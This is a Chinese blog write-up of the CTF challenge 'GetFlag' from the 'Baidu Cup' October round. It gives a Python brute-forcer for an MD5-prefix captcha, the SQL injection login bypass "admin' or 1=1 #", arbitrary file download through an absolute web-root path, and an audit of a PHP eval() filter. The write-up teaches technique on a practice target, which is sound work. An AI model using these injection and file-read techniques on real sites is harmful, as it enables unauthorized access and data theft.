“百度杯”CTF比赛 十月场GetFlag

 

==========================

个人收获:

1.不要怕,多尝试

2.知道Linux web网站的默认路径 /var/www/html

3.里面有个小疑问为什么flag后面要加;

(因为eval中要执行的代码也必须是完整的PHP代码,PHP是以  ;  作为一个语句的结束符的)找到的答案

 

==========================

 

题目界面

然后查看了http请求,扫描了目录和看了源码没有发现什么异常的地方

 

这里要求输入账号密码和验证码

根据上面的提示,我们利用py脚本跑出验证码(这部分跟https://blog.csdn.net/nzjdsds/article/details/81411678 一样 大家可以看下)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Time    : 2018/8/20 22:50
# Author  : SDFZ
# Site    : sdfzy.top
# File    : test.py
#===================================================================
import hashlib
def md5(s):
    return hashlib.md5(str(s).encode('utf-8')).hexdigest() #用md5先把参数s用utf-8编码之后进行加密,hexdigest表示返回返回摘要,作为十六进制数据字符串值
def main(s):
    for i in range(1,99999999):
        if md5(i)[0:6]  == str(s):     #截取密文前6位与 用户传入的值进行比对  (具体情况具体修改)
            print(i)
            exit(0)
if __name__ == '__main__':
    main("eb6b36")

 

 

我们把验证码填上,然后账号密码部分我们可以尝试常规的SQL注入试试

账号:admin' or 1=1 #

密码:随便填

成功登陆

三个文件下载过来我们看下内容

其中只有a.php的信息有用,其他2个文件的信息都没用

 

a.php的内容如下

里面说flag在 web网站的根目录下

然后我又看到了 它的下载连接是这样的

http://63378b741e3841239fb37ca9c46ee684b1815b62385d4334.game.ichunqiu.com/Challenges/file/download.php?f=a.php

我就想到文件包含 ,直接把后面a.php改成flag.php试下

然后页面出现这个

 

到这我就尝试一直加../进行遍历但是一直没结果,就看了下别人的wp 说是要写成这个样子

/var/www/html/Challenges/flag.php

(我记得linux系统里面安装apache网页的默认网页路径就是这样差不多的/var/www/html/然后在根据网址大概就能猜出来)

附一张ubunt 下apache的默认web路径

同时我们也可以通过网页的HTTP包来看到它的服务器是什么系统

 

然后下载源代码

 

 

源码如下:

<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
		die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
		 eval("\$spaceone = $f");
}
catch (Exception $e)
{
		return false;
}
if ($spaceone === 'flag'){
	echo file_get_contents("helloctf.php");
}

?>
 

通过代码审计得知给flag.php传入参数?flag=flag;即可获得helloctf.php的内容。 
因为执行了一个eval()函数,要在代码末尾添加分号来结束一行代码,所以传入参数要带一个分号,进过eval()函数后分号被去掉。 (看其他大佬的wp)

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值